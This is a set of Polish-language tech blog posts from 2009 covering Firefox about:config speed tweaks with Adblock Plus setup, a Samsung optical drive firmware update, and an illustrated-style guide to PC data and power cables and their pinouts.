Firefox pozwala nam bardzo głęboko ingerować w swoje ustawienia, także czemu by tego nie wykorzystać ?

1. Po pierwsze uruchamiamy naszą ofiarę jaką jest Firefox. W polu adresu wklepujemy magiczną komendę " about:config " i zatwierdzamy klawiszem "Enter". W tym momencie zostaniemy poinformowani o możliwości utraty gwarancji ;) oczywiście się zgadzamy bo nasz paragon zaginął.

2. W pasku "Filtr" wpisujemy i wyszukujemy następujące ustawienia. Aby dokonać modyfikacji klikamy dwukrotnie LPM (Lewy Przycisk Myszy) na wpis.

network.http.pipelining - ustawiamy na true
javascript.options.jit.content - ustawiamy na true
javascript.options.jit.chrome - ustawiamy na true
network.http.proxy.pipelining - ustawiamy na true
network.http.max-connections - ustawiamy liczbę 50
network.http.pipelining.maxrequests - ustawiamy liczbę 40
network.http.max-connections-per-server - ustawiamy liczbę 25
network.http.max-persistent-connections-per-proxy - ustawiamy liczbę 20
network.http.max-persistent-connections-per-server - ustawiamy liczbę 10

Po tym zabiegu wczytywanie stron powinno już znacznie przyśpieszyć. Ale nas to nie zadowala, więc dodajemy jeszcze własne wpisy.

3. Aby dodać własny wpis należy kliknąć na listę PPM (Prawy Przycisk Myszy) i wybrać opcję (Dodaj ustawienie typu) i wybrać Liczba całkowita (Integer).
W kolejności wpisujemy nazwę wpisu, potem jaką przyjmuję on wartość.

nglayout.initialpaint.delay - ustawiamy wartość 0
content.notify.backoffcount - ustawiamy wartość 5
content.notify.interval - ustawiamy wartość 750 000
content.switch.threshold - ustawiamy wartość 750 000
content.max.tokenizing.time - ustawiamy wartość 2 250 000

Musimy jeszcze dodać wpisy z wartościami logicznymi. Robimy to tak samo jak poprzednio lecz tym razem wybieramy Wartość logiczna (Boolean).

content.notify.ontimer - ustawiamy na true
content.interrupt.parsing - ustawiamy na true

I jesteśmy już prawie w domuĂ˘ÂŚ

4. Aby zredukować czas wczytywania się stron oraz zdecydowanie zwiększyć, komfort surfowania po sieci, nie możemy pominąć jakże ważnej wtyczki jaką jest Adblock Plus.

Adblock Plus: "Rozszerzenie umożliwia filtrowanie treści reklamowych w postaci plików graficznych, animacji Flash czy wyskakujących okien z wyświetlanych stron internetowych" Wikiperia.org

5. Aby skorzystać z wtyczki trzeba najpierw ją pobrać i zainstalować. W Firefox czynność ta jest banalnie prosta.

a) Uruchamiamy Firefox`a.
b) Z górnego paska wybieramy Narzędzia > Dodatki.
c) Uruchomi się nowe okienko gdzie wybieramy "Pobierz dodatki"
d) W polu "Przeszukaj wszystkie" wpisujemy adblock plus i potwierdzamy klawiszem "Enter"
e) Teraz już tylko wystarczy znaleźć na liście i kliknąć "Dodaj do programu FireFox"
f) Uruchomi się nowe okienko gdzie klikamy "Zainstaluj" czekamy i klikamy "uruchom ponownie program FireFox"
g) Done

6. Aby Adblock Plus działał optymalnie musimy ustawić subskrypcję.

a) W prawym górnym rogu mamy czerwoną ikonkę Adblock`a. Klikamy na nią. Następnie "ustawienia"
b) W nowym okienku klikamy Filtry > Dodaj subskrypcję filtrów i na dole "Dodaj inna subskrypcję"
c) W polu "Nazwa subskrypcji" wpisujemy http://portal24h.pl/adblock.txt to samo wpisujemy w polu "Lokalizacja listy filtrów" Upewniamy się, że włączone są aktualizację automatyczne oraz sam filtr. Klikamy OK.

I tak oto możemy się już cieszyć brakiem reklam na stronach.

Aktualizacja firmware w napędach optycznych - Samsung

Tue, 17 Nov 2009 08:20:01 +0000

Dlaczego warto zaktualizować firmware? Jeżeli nasz napęd miewa problemy z odczytywaniem płyt, nagrywaniem, bądź też coś nam szwankuje wymiana firmware może to naprawić. Możemy też w ten sposób zwiększyć prędkości zapisu i/lub większą kompatybilność z nośnikami dostępnymi w ofercie.

Aby zaktualizować firmware w naszym napędzie najpierw musimy znać dokładny model oraz warto wiedzieć, jaką wersje firmware aktualnie posiadamy. Do sprawdzenia tego możemy posłużyć się programem EVEREST (możemy go pobrać stąd LINK)

Wybieramy zakładkę "Magazyn"

Następnie "Napędy dysków optycznych" i z listy u góry wybieram napęd, który nas interesuje

Na dole we "właściwościach napędu" mamy podany dokładny model urządzenia

W tym przypadku jest to "SH-182M"

Wersja naszego firmware jest pokazany w polu "Firmware Revision"

Jak już sprawdziliśmy model naszego napędu i wersje firmware, szukamy nowszej wersji do danego modelu na stronie producenta naszego urządzenia.

Aktualizacja firmware w napędach optycznych Samsung:

Samsung daje nam do dyspozycji bardzo fajne narzędzie, które wykona praktycznie cały proces za nas. Do pobrania na stronie: http://www.samsungodd.com/eng/Firmware/liveupdate.asp

Lista obsługiwanych napędów dostępna jest tutaj http://www.samsungodd.com/eng/Firmware/Firmware/Firmware.asp

Po pobraniu i instalacji programu, musimy uzupełnić kilka danych( wystarczy, aby adres @ był prawdziwy i kraj)

Po wypełnieniu wymaganych pól klikamy "registration"

Na pasku zadań wyskoczy nam ikona płyty, klikamy na nią prawym przyciskiem myszy i wybieramy opcje "status"

Jeżeli jest dostępna nowsza wersja firmware do naszego napędu program zacznie automatycznie pobierać nowe firmware

Po pobraniu nowego firmware zaczynie się instalacja

Po zakończeniu instalacji wystarczy kliknąć "ok" i komputer uruchomi się ponownie

I to by było na tyle jeżeli chodzi o aktualizacje firmware w napędach Samsung.
U mnie osobiście aktualizacja poprawiła odczytywanie płyt DVD, wcześniej były problemy z odczytaniem zawartości płyty, po aktualizacji problem ten zniknął.

Jakiekolwiek ingerencje w sprzęt robisz na własną odpowiedzialność i autor nie może ponieść żadnych konsekwencji w razie uszkodzenia sprzętu.

Przewody w komputerze

Thu, 12 Nov 2009 08:35:25 +0000

Przewody w komputerze

Witam.
Dla wielu z nas w miarę doświadczonych użytkowników składanie komputera nie stanowi większego problemu to jednak znaczna większość raczej nigdy nawet nie zagląda do jego wnętrza. Kiedy już jednak zajdzie taka potrzeba może nas napotkać mieszanina (często dosłownie) różnych kabli i przewodów. Załamka niemal pewna. Dlatego właśnie postanowiłem za pomocą małego poradnika przybliżyć nieco ten temat, aby w razie potrzeby szok nie był tak duży.
Przewody wewnątrz komputera można podzielić na dwa rodzaje:
- Sygnałowe - do transmisji danych;
- Zasilające : do zasilania podzespołów.

Przewody sygnałowe

W chwili obecnej w komputerze możemy spotkać przewody do zasilania urządzeń IDE (PATA lub po prostu ATA) i SATA. Oprócz nich są inne, ale na tyle rzadko spotykane, że nie będę o nich opowiadał.
Pzewody IDE czyli popularne taśmy, to przewody do transmisji równoległej (PATA - Parallel Advanced Technology Attachments). Wyglądają one następująco:

Ten po lewej wykorzystywany jest do podłączeń dysków i napędów CD/DVD, jest to taśma 80-pinowa (do starszych napędów i dysków używano 40-pinowej).Za pomocą jednego przewodu, który może mieć 3 wtyczki, można podłączyć dwa urządzenia : jedno w trybie Master, drugie jako Slave. Taśma po prawej służy do podłączenia stacji dyskietek. Na uwagę zasługuje różowy pasek na jednym z pinów. Oznacza on pin pierwszy taśmy. Taśmy te używane są już od kilkunastu lat i w chwili obecnej standard ten jest wypierany na rzecz nowszego : SATA.

Przewody SATA to przewody do transmisji szeregowej (Serial Advanced Technology Attachments). Wyglądają one następująco:

Zasadnicza różnica oprócz rodzaju transmisji to znacznie mniejszy rozmiar przewodu. Za jego pomocą możemy podłączyć tylko jedno urządzenie, ale ze względu na mały rozmiar wtyczki, możliwe jest umieszczenie na płycie głównej dużej ilości gniazd, dzięki czemu ilość podłączonych urządzeń może być znacznie większa niż w przypadku taśm ATA.
Jak do tej pory, opracowano trzy generacje interfejsu SATA. Pierwsza, najstarsza wersja SATA Revision 1.x umożliwia szeregową transmisję danych z maksymalną przepustowością 1,5Gbi/s (ok. 170MiB/s). Druga generacja (SATA Revision 2.x) oferuje przepustowość 3,0Gbi/s (ok. 350MiB/s). Trzecia generacja (SATA Revision 3.x), zaprezentowana oficjalnie po raz pierwszy 27 maja 2009 roku udostępnia przepustowość 6,0Gbi/s (ok. 700MiB/s).

Przewody zasilające

Tutaj jest już znacznie większa różnorodność przewodów. Wynika to z faktu, że poszczególne urządzenia potrzebują różnych wartości napięć, o różnym natężeniu w zależności od ilości pobieranej energii. Również tutaj wymienię tylko te najczęściej spotykane, wraz z ich najczęściej spotykanymi nazwami.

Zasilanie płyt głównych

Inaczej 20+4/24-pin. To najgrubsza wiązka kabli w obudowie, odpowiada za zasilanie płyty głównej i podzespołów do niej podłączonych, które nie posiadają własnego zasilania (np. karty PCI, mniej wydajne karty graficzne, wentylatory oraz przedewszystkim procesor i pamięci ). Wygląda następująco:

Rozkład pinów wygląda następująco:

Obecne płyty wykorzystują 24-pinową wtyczkę, jednak starsze płyty mają tylko 20-pinowe gniazda, stąd większość zasilaczy oferuje tzw. 20+4, czyli odczepiane ostatnie 4 piny (11,12,23,24). Każdy z tych pinów to przewód konkretnego napięcia (+3,3V, +5V, +12V, masa) i w zasadzie zwiększają tylko ilość energii możliwej do doprowadzenia do płyty.
Niektóre piny : co widać na zdjęciach : mają inny kształt. Jest to zabezpieczenie, które niemal w 100% zapobiega przed odwrotnym włożeniem wtyczki w gniazdo. Dodatkowy zatrzask utrzymuje wtyczkę w gnieździe. Taki zatrzask występuje w większości wtyczek w komputerze, gdzie mamy dostarczaną dość dużą ilość energii.
Oprócz głównego zasilania płyty główne posiadają także dodatkowe zasilanie tylko dla samego procesora:

Rozkład pinów:

Doprowadza ona bezpośrednio tak potrzebną energię do układów zasilających procesor na płycie głównej.

Molex

Wtyczka 4-pinowa popularnie zwana molexem służy do zasilania urządzeń i podzespołów takich jak dyski, napędy, wentylatory (jeśli posiadają odpowiednie gniazdo), starsze karty graficzne. Często też jest podłączana do płyty głównej jako dodatkowe zasilanie dla portu PCI-Express. Wygląda następująco:

Rozkład pinów wygląda następująco:

Raczej nie można jej pomylić z żadną inną. W większości zasilaczy to właśnie wtyczek molex jest najwięcej. Posiada dwa ścięcia na krawędziach, co pozwala umieścić ją w gnieździe tylko w jednej pozycji.
Inna wtyczka 4-pinowa to ta używana do stacji dyskietek:

W chwili obecnej w zasadzie nie używana więc nie ma się co o niej rozpisywać.

SATA

Wtyczka SATA służy w zasadzie tylko do zasilania urządzeń z interfejsem SATA. Tylko i aż, gdyż możliwość podłączenia dużej ilości urządzeń (dysków) do płyty głównej stwarza konieczność posiadania przez zasilacz sporej ilości takich wtyczek. Niektóre nawet dość nowe zasilacze mogą mieć ich zaledwie 2. Wygląda następująco:

W samej wtyczce mamy 15-pinów, ale są to po prostu rozgałęzienia 5 przewodów dochodzących do wtyczki. Wygląda to następująco:

Jeśli jednak Twój zasilacz nie ma takich wtyczek : nie ma problemu. Za kilka złotych można kupić w sklepie komputerowym przejściówkę z wtyczki molex:

I po problemie.

Zasilanie kart graficznych

Czyli 6 lub 8-pinowe (inaczej zwane PEG lub po prostu PCIe) wtyczki służące obecnie wyłącznie do zasilania wydajnych kart graficznych. Taka karta może posiadać od jednego 6-pinowego gniazda do dwóch gniazd : 6 i 8-pinowego. Tak ona wygląda:

Rozkład pinów:

Ze względu na szybki postęp w rynku kart graficznych nie wszystkie zasilacze posiadają taką wtyczkę, lub conajwyżej jedną, co nie rzadko jest niewystarczające przy niektórych kartach. Również tutaj istnieją tanie przejściówki, a większość producentów kart graficznych w standardzie daje co najmniej jedną taką sztukę. Tak ona wygląda:

3-pin

3-pinowe złacze głownie wykorzystywane do zasilania wentylatorów. Mały rozmiar bo i małe potrzeby, gdyż wentylatory nie pobierają dużo prądu. Tak wygląda wtyczka:

Rozkład pinów:

Są również 4- pinowe wersje tej wtyczki:

Wykorzystywane przy BOXĂ˘ÂÂowych wentylatorach dla procesora.
Wszystkie jej rodzaje mają plastikowy bolec w gnieździe, który "naprowadza" wtyczkę w celu jej odpowiedniego włożenia. Raczej nie powinniśmy się pomylić.

I to byłoby na tyle podstaw dotyczących okablowania w komputerze. Mam nadzieje, że ten krótki poradnik przyda się nie jednemu użytkownikowi.

-GT- (G81)

Wspomagacze:
http://www.hardwarezone.com/articles/print.php?id=1215
http://pl.wikipedia.org/